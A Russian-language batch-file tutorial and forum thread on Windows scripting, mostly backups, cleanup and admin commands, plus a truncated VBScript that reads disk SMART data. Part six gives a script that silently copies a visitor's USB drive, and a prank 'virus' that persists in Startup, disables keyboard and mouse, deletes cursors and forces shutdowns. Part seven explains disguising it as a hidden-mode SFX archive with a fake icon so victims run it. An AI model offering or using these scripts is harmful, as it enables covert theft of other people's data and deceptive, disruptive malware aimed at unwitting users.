- Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
- Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
- Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.
Часть вторая. Синтаксис при написании bat-файлов
- Каждая команда вводится с новой строчки;
- Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
- Комментарии в пакетный файл могут быть добавлены двумя способами:
— либо после двух двоеточий ::переход к части копирования — либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарийgoto begin ---------------------------------------- Это батник служит для резервного копирования дипломной работы ---------------------------------------- begin
- Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
- Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
- Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
- По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
- Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
- В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%
Приступим….
Часть третья. Резервное копирование при помощи батников
Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.
Автоматическое копирование каталогов в папку backup
Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим
@echo off chcp 1251 xcopy "D:diplom*.*" "E:backupdiplom*.*"
Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид
@echo off chcp 1251 del "E:backupdiplom_old" /s /q rmdir "E:backupdiplom_old" /s /q rename "E:backupdiplom" "diplom_old" xcopy "D:diplom*.*" "E:backupdiplom*.*"
del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее
@echo off chcp 1251 xcopy "D:diplom*.*" "E:backupdiplom*.*" /E /F /H /R /K /Y /D
Создание бэкапа в архиве
Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым
@echo off chcp 1251 c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:backup" "D:diplom"
Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53
Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов
Как создать папку из батника
Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:, нам необходимо собрать следующего вида пакетный файл
@echo off chcp 1251 MD "D:backup"
Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид
@echo off chcp 1251 set datetemp=%date:~-10% MD "C:%datetemp%"
Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;
Как создать текстовый файл из батника
С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)
@echo off chcp 1251 copy nul "имя_файла".txt
Также, как и в примере с папкой, можно сделать именем текущую дату
@echo off chcp 1251 set datetemp=%date:~-10% copy nul "%datetemp%".txt
Автоматическая очистка папки из батника
Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим
@echo off chcp 1251 cd C:WindowsTemp echo Y|del *.*
Строчкой cd «C:WindowsTemp» мы переходим в папку temp
Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)
Часть пятая. Прочие возможности bat-файлов
Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.
Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл
@echo off chcp 1251 dir >file.txt
После выполнения этого файла, в папке, откуда он запускался, будет создан файлик file.txt, содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида
@echo off chcp 1251 dir /S "c:" >"X:file.txt"
/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c: поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:file.txt сохранит конечный файл со списком содержимого в указанное нами место;
Запуск файлов из командной строки
Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например
@echo off chcp 1251 "c:Документынапоминание.doc"
Для системных же программ нужно указать лишь её обозначение.
@echo off chcp 1251 calc
При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.
Часть шестая. Хитрости или шутки в сторону
Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.
Шпионские штучки. Похищаем содержимое флешки
В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания
@echo off :test if exist g: goto go goto test :go xcopy "G:*.*" "C:упс*.*"
Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.
:test обозначает начало действия батника
if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:)
goto test если диск G: не был найден, возвращаемся к началу части :test
:go обозначает начало действия второй части батника
xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C:
Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….
Маленький вирус в автозагрузку
В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее
copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup
Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)
Вторая строка добавляет файл в автозагрузку для Windows 7.
Начало обеих строк в виде copy %0 означает копирование «самого себя».
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»
Для этого добавляем следующее
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js
Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse
Однако, и первый вариант будет работать.
Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени
msg * "ТЫ ЛАМЕР!" >nul
Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….
Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.
rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.
rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.
rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.
Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)
Теперь остаётся только скомпоновать желаемые строки в единый код
@echo off chcp 1251 rundll32 keyboard, disable %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js
Часть седьмая. Упаковка исполнительного файла
Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:
Программный способ упаковки батников
-
- конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
- создать sfx-архив.
Упаковка батников в SFX-архив
Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.
— Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).
— Создаём нужный нам пакетный файл (батник).
— Кликаем правой кнопочкой по батнику, выбираем из контекстного меню WinRAR => Добавить в архив (дальше по вкладкам)
— Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив Создать SFX-архив.
— Дополнительно. Жмём на кнопочку Параметры SFX… Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например Restorator.
— На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку ОК. В исходной папке с батником появится ещё и наш новый sfx-архив.
— Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.
— В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем
call sled.bat
Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду
start sled.bat
Вместо заключения
Стоит отметить, что кроме вышеперечисленных функций при помощи батников можно также редактировать и системный реестр, об этом наша отдельная публикация: Редактирование реестра Windows из командной строки, bat-файлы. Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….
Будьте осторожны и удачных вам экспериментов
Подключение сетевого диска
disk.bat
net use Y: /del /yes net use Y: \192.168.0.1share /USER:user1 pAsSw0rd
Закрыть все сеансы подключенных пользователей
kick.bat
net SESSION /DELETE /YES
Ограничение числа входящих подключений в Windows XP
Например при открытии общего доступа к принтеру в сети, если его будут использовать больше 10 человек — могут начаться проблемы.
Как один из вариантов — в планировщике заданий выполнять этот скрипт с правами Администратора каждые 10 мин.
Архивация RAR
rar-full.bat
set LOGFILE="F:backupbackup.log" set BACKUPFILE="F:backupDocuments-full.%DATE:~-4%%DATE:~3,2%%DATE:~0,2%.rar" set BACKUPDIR="E:Documents" "c:Program FilesWinRARRar.exe" a -ep2 -m4 -ow -rr100 -inul -ilog%LOGFILE% %BACKUPFILE% %BACKUPDIR%
Выключить компьютер по сети
shutdown.bat
shutdown -s -f -t 60 -m \comp01
Удаление хлама из документов
delete.bat
set LOGFILE=F:backupdelete.log echo START %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1 del E:Documents*.mp3 /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.m3u /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.wav /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.wma /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.wmv /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.flv /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.mpg /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.mp4 /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.avi /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.vob /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.mov /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.exe /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.msi /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.dll /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.dat /s /f /a >> %LOGFILE% 2>>&1 del E:DocumentsThumbs.db /s /f /a >> %LOGFILE% 2>>&1 echo END %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1 echo "" 2>>&1
- Главная
- Песочница
- Общий форум
- Командная строка, CMD, BAT.
Полезные и нужные команды и батники.
|
кодecho Y|chkdsk c: /F 2. Проверка и исправлениее системных файлов:3.Онлайн проверка и исправление образа системы кодDISM /Online /Cleanup-Image /RestoreHealth 4. Вход в Advanced Boot Menu напрямую из вина: кодshutdown.exe /r /o /t 00 5. Систем инфо6. Вызов msconfig: кодCMD /K if defined PROCESSOR_ARCHITEW6432 (%WINDIR%sysnativemsconfig.exe) else (%WINDIR%system32msconfig.exe) 7. Устранение гибернации и файла hiberfile:8. Информация о MAC и IP сетевых карт9. LogOff код@echo off И еще один супер мощный твик для всех ОС Моя разработка, скорее всего переделка. кодWindows Registry Editor Version 5.00 Последний раз редактировалось: dimo70 (2019-09-08 21:02), всего редактировалось 2 раз(а) |
Отправлено: 04-Сен-2019 22:25
(спустя 11 часов)
Отправлено: 04-Сен-2019 22:25
(спустя 11 часов)
lowe.story |
|
Отправлено: 05-Сен-2019 07:53
(спустя 9 часов)
Отправлено: 05-Сен-2019 07:53
(спустя 9 часов)
xowlet |
Последний раз редактировалось: xowlet (2019-09-05 10:02), всего редактировалось 1 раз |
Отправлено: 05-Сен-2019 08:21
(спустя 28 минут)
Отправлено: 05-Сен-2019 08:21
(спустя 28 минут)
Отправлено: 05-Сен-2019 10:13
(спустя 1 час 51 минута)
Отправлено: 05-Сен-2019 10:13
(спустя 1 час 51 минута)
timon45 |
69964
[HKEY_CURRENT_USERControl PanelDesktopWindowMetrics] данный твик у вас в 3-х местах [HKEY_CURRENT_USERControl PanelDesktopWindowMetrics] Универсальным для всех ОС я бы его не назвал для для 10ки многие работать не будут ; UAC File Virtualization Driver отвечает за виртуализацию реестра и файлов. |
Отправлено: 05-Сен-2019 10:23
(спустя 10 минут)
Отправлено: 05-Сен-2019 10:23
(спустя 10 минут)
xowlet |
|
Отправлено: 05-Сен-2019 10:31
(спустя 7 минут)
Отправлено: 05-Сен-2019 10:31
(спустя 7 минут)
dimo70 |
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun] Последний раз редактировалось: dimo70 (2019-09-05 10:48), всего редактировалось 1 раз |
Отправлено: 05-Сен-2019 10:45
(спустя 14 минут)
Отправлено: 05-Сен-2019 10:45
(спустя 14 минут)
lowe.story |
|
Отправлено: 05-Сен-2019 10:53
(спустя 7 минут)
Отправлено: 05-Сен-2019 10:53
(спустя 7 минут)
dimo70 |
|
Отправлено: 05-Сен-2019 11:40
(спустя 46 минут)
Отправлено: 05-Сен-2019 11:40
(спустя 46 минут)
xowlet |
|
Отправлено: 05-Сен-2019 11:42
(спустя 2 минуты)
Отправлено: 05-Сен-2019 11:42
(спустя 2 минуты)
dimo70 |
|
Отправлено: 07-Сен-2019 17:02
(спустя 2 дня 5 часов)
Отправлено: 07-Сен-2019 17:02
(спустя 2 дня 5 часов)
gera_serg |
[HKEY_USERS.DEFAULTKeyboard LayoutPreload] Keyboard Ctrl+Shift [HKEY_CURRENT_USERKeyboard Layout] NUM-Keyboard ON [HKEY_USERS.DEFAULTControl PanelKeyboard] |
Отправлено: 07-Сен-2019 17:21
(спустя 19 минут)
Отправлено: 07-Сен-2019 17:21
(спустя 19 минут)
dimo70 |
|
Отправлено: 07-Сен-2019 17:41
(спустя 20 минут)
Отправлено: 07-Сен-2019 17:41
(спустя 20 минут)
Ander_73 |
|
Отправлено: 07-Сен-2019 17:58
(спустя 17 минут)
Отправлено: 07-Сен-2019 17:58
(спустя 17 минут)
Viktor_Kisel |
|
Страница 1 из 3
Текущее время: 08-Фев 01:29
Часовой пояс: UTC + 3
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы можете скачивать файлы
'==========================================================================
'
' AUTHOR: Леонид_33
' NAME: HDD_Smart.vbs
'
' Скрипт для получения SMARTа HDD
' Может брать SMART как с локальной так и удаленной машины с выводом результата в файл в формате CSV
' При запуске скрипта выдается окно ввода имени(IP) машины с учетными данными
' Если хотим получить SMART с локальной машины, то ничего не указываем, если с удаленной, указываем имя(IP) машины, и, если надо, учетные данные
' Работает на WindowsXP(SP2,SP3), Windows2003SP2, Windows2008SP1
' Берет SMART через WMI, поэтому, что винда отдает, то отдает т.е.
' работает только со стандартно подключенными на мать HDD IDE и SATA
' Как бы того не хотелось, НЕ РАБОТАЕТ с рэйдами.
' Ну не видит винда SMARTов с этих винтов и все тут.
'
' Если что по атрибутам неясно, можно глянуть тут
' http://en.wikipedia.org/wiki/Self-Monitoring%2C_Analysis%2C_and_Reporting_Technology
'
'==========================================================================
if not isAdminRights then call Elevate(""): WScript.Quit
Dim strComputer
Dim strLogin
Dim strPassword
On Error Resume Next
'GetPassword()
strComputer = "."
strLogin = ""
strPassword = ""
If strLogin = "" or strComputer = "." then
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootWMI")
else
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMIService = objSWbemLocator.ConnectServer(strComputer, _
"rootCIMV2", _
strLogin, _
strPassword, _
"MS_409")
end If
Set SmartDataItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictData", "WQL", 48)
InstanceName = Array()
SmartData = Array()
SmartLength = Array()
RowCount = 0
For Each objItem In SmartDataItems
Redim Preserve InstanceName(RowCount)
InstanceName(RowCount) = objItem.InstanceName
Redim Preserve SmartData(RowCount)
SmartData(RowCount) = objItem.VendorSpecific
Redim Preserve SmartLength(RowCount)
SmartLength(RowCount) = objItem.Length
RowCount = RowCount + 1
Next
Set SmartDataItems = Nothing
ThresholdData = Array()
Redim Preserve ThresholdData(RowCount)
PredictFailure = Array()
Redim Preserve PredictFailure(RowCount)
Reason = Array()
Redim Preserve Reason(RowCount)
RowCount = 0
Set ThresholdItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictThresholds", "WQL", 48)
For Each objItem In ThresholdItems
ThresholdData(RowCount) = objItem.VendorSpecific
RowCount = RowCount + 1
Next
Set ThresholdItems = Nothing
RowCount = 0
Set PredictStatusItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictStatus", "WQL", 48)
For Each objItem In PredictStatusItems
PredictFailure(RowCount) = objItem.PredictFailure
Reason(RowCount) = objItem.Reason
RowCount = RowCount + 1
Next
Set PredictStatusItems = Nothing
Set oDict = CreateObject("Scripting.Dictionary")
CreateDict(oDict)
Set objFSO = CreateObject("Scripting.FileSystemObject")
If strComputer = "." then
'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart.csv", 2, True)
Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart.csv", 2, True)
else
'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart_" & strComputer & ".csv", 2, True)
Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart_" & strComputer & ".csv", 2, True)
end If
For CurrentDisk = 0 to RowCount - 1
objTextFile.WriteLine("Drive: " & Replace(Mid(InstanceName(CurrentDisk), 9, InStr(InstanceName(CurrentDisk), "__") - 9), "_", " "))
objTextFile.WriteLine("PredictFailure: " & PredictFailure(CurrentDisk))
objTextFile.WriteLine("Reason: " & Reason(CurrentDisk))
objTextFile.WriteLine("ID;Attribute;Type;Flag;Threshold;Value;Worst;Raw;Status;")
aSmartData = SmartData(CurrentDisk)
aThresholdData = ThresholdData(CurrentDisk)
If IsArray(aSmartData) AND IsArray(aThresholdData) Then
LastID = 0
For x = 2 To SmartLength(CurrentDisk) + 2 Step 12
If LastID > aSmartData(x) then
x = 514
else
LastID = aSmartData(x)
If aSmartData(x) <> 0 Then
objTextFile.Write(aSmartData(x) & ";")
If oDict.Item(aSmartData(x)) = "" Then
objTextFile.Write("VendorSpecific(" & aSmartData(x) & ");")
else
objTextFile.Write(oDict.Item(aSmartData(x)) & ";")
end If
If aSmartData(x + 1) MOD 2 Then
objTextFile.Write("Pre-Failure;")
Else
objTextFile.Write("Advisory;")
End If
' objTextFile.Write(aSmartData(x + 1) & ";")
aFlag = aSmartData(x + 1)
txtFlag = ""
If (aFlag And &H1) <> 0 Then txtFlag = "LC," End If
If (aFlag And &H2) <> 0 Then txtFlag = txtFlag & "OC," End If
If (aFlag And &H4) <> 0 Then txtFlag = txtFlag & "PR," End If
If (aFlag And &H8) <> 0 Then txtFlag = txtFlag & "ER," End If
If (aFlag And &H10) <> 0 Then txtFlag = txtFlag & "EC," End If
If (aFlag And &H20) <> 0 Then txtFlag = txtFlag & "SP," End If
If txtFlag <> "" then
txtFlag = Left(txtFlag, Len(txtFlag)-1 )
end If
objTextFile.Write txtFlag & ";"
objTextFile.Write(aThresholdData(x + 1) & ";") 'Threshold
objTextFile.Write(aSmartData(x + 3) & ";") 'Value
objTextFile.Write(aSmartData(x + 4) & ";") 'Worst
objTextFile.Write((aSmartData(x + 8) * 65536 + aSmartData(x + 7) * 4096 + aSmartData(x + 6) * 256 + aSmartData(x + 5)) & ";") 'Raw
If aSmartData(x + 3) >= aThresholdData(x + 1) Then
objTextFile.WriteLine("OK;")
else
objTextFile.WriteLine("NOT OK;")
end If
end If
end If
Next
else
objTextFile.WriteLine("NO DRIVE WITH SMART FOUND;")
end If
'objTextFile.WriteLine
Next
objTextFile.WriteLine
objTextFile.WriteLine("LC - life critical;")
objTextFile.WriteLine("OC - online collection;")
objTextFile.WriteLine("PR - performance related;")
objTextFile.WriteLine("ER - error rate;")
objTextFile.WriteLine("EC - event count;")
objTextFile.WriteLine("SP - self preserving;")
objTextFile.Close
Wscript.echo "HDD_SMART Is Done!"
Function CreateDict(oDict)
oDict.Add 1, "Raw Read Error Rate"
oDict.Add 2, "Throughput Performance"
oDict.Add 3, "Spin-Up Time"
oDict.Add 4, "Start/Stop Count"
oDict.Add 5, "Reallocated Sectors Count"
oDict.Add 6, "Read Channel Margin"
oDict.Add 7, "Seek Error Rate Rate"
oDict.Add 8, "Seek Time Performance"
oDict.Add 9, "Power-On Hours (POH)"
oDict.Add 10, "Spin Retry Count"
oDict.Add 11, "Recalibration Retries Count"
oDict.Add 12, "Device Power Cycle Count"
oDict.Add 13, "Soft Read Error Rate"
oDict.Add 190, "HDA Temperature"
oDict.Add 191, "G-Sense Error Rate Frequency"
oDict.Add 192, "Power-Off Park Count"
oDict.Add 193, "Load/Unload Cycle Count"
oDict.Add 194, "HDA Temperature"
oDict.Add 195, "Hardware ECC Corrected Count"
oDict.Add 196, "Reallocated Event Count"
oDict.Add 197, "Current Pending Sector Count"
oDict.Add 198, "Off-Line Scan Uncorrectable Sector Count"
oDict.Add 199, "UltraDMA CRC Error Count"
oDict.Add 200, "Write Error Rate"
oDict.Add 201, "Soft Read Error Rate"
oDict.Add 202, "Address Mark Errors Frequency"
oDict.Add 203, "ECC errors (Maxtor: ECC Errors)"
oDict.Add 204, "Soft ECC Correction"
oDict.Add 205, "Thermal Asperity Rate (TAR)"
oDict.Add 206, "Flying Height"
oDict.Add 207, "Spin High Current"
oDict.Add 208, "Spin Buzz"
oDict.Add 209, "Offline Seek Perfomance"
oDict.Add 210, "Vibration During Write"
oDict.Add 211, "Vibration During Read"
oDict.Add 212, "Shock During Write"
oDict.Add 220, "Disk Shift"
oDict.Add 221, "G-Sense Error Rate"
oDict.Add 222, "Loaded Hours"
oDict.Add 223, "Load/Unload Retry Count"
oDict.Add 224, "Load Friction"
oDict.Add 225, "/Unload Cycle Count"
oDict.Add 226, "Load 'In'-time"
oDict.Add 227, "Torque Amplification Count"
oDict.Add 228, "Power-Off Retract Cycle"
oDict.Add 230, "GMR Head Amplitude"
oDict.Add 240, "Head Flying Hours"
oDict.Add 250, "Read Error Retry Rate"
End Function
Function GetPassword()
Dim IE
On Error Resume Next
Set IE = CreateObject( "InternetExplorer.Application" )
With IE
.AddressBar = False
.menubar = False
.Navigate "about:blank"
.Document.Title = "Password"
.ToolBar = False
.Resizable = False
.StatusBar = False
.Width = 340
.Height = 230
End With
With IE.Document.ParentWindow.Screen
IE.Left = (.AvailWidth - IE.Width ) 2
IE.Top = (.Availheight - IE.Height) 2
End With
Do While IE.Busy
WScript.Sleep 200
Loop
IE.Document.Body.InnerHTML = "<BODY SCROLL=""NO"" BGCOLOR=""#" & BCol & """ TEXT=""#" & TCol & """>" & _
"<FONT FACE=""arial"" SIZE=2>" & _
"Введите имя компьютера<BR><INPUT SIZE=""40"" " & "ID=""Computer""><BR>" &_
"Пользователь<BR><INPUT SIZE=""40"" " & "ID=""Login""><BR>" &_
"Пароль<BR><INPUT TYPE=""password"" SIZE=""40"" " & "ID=""Login"">" &_
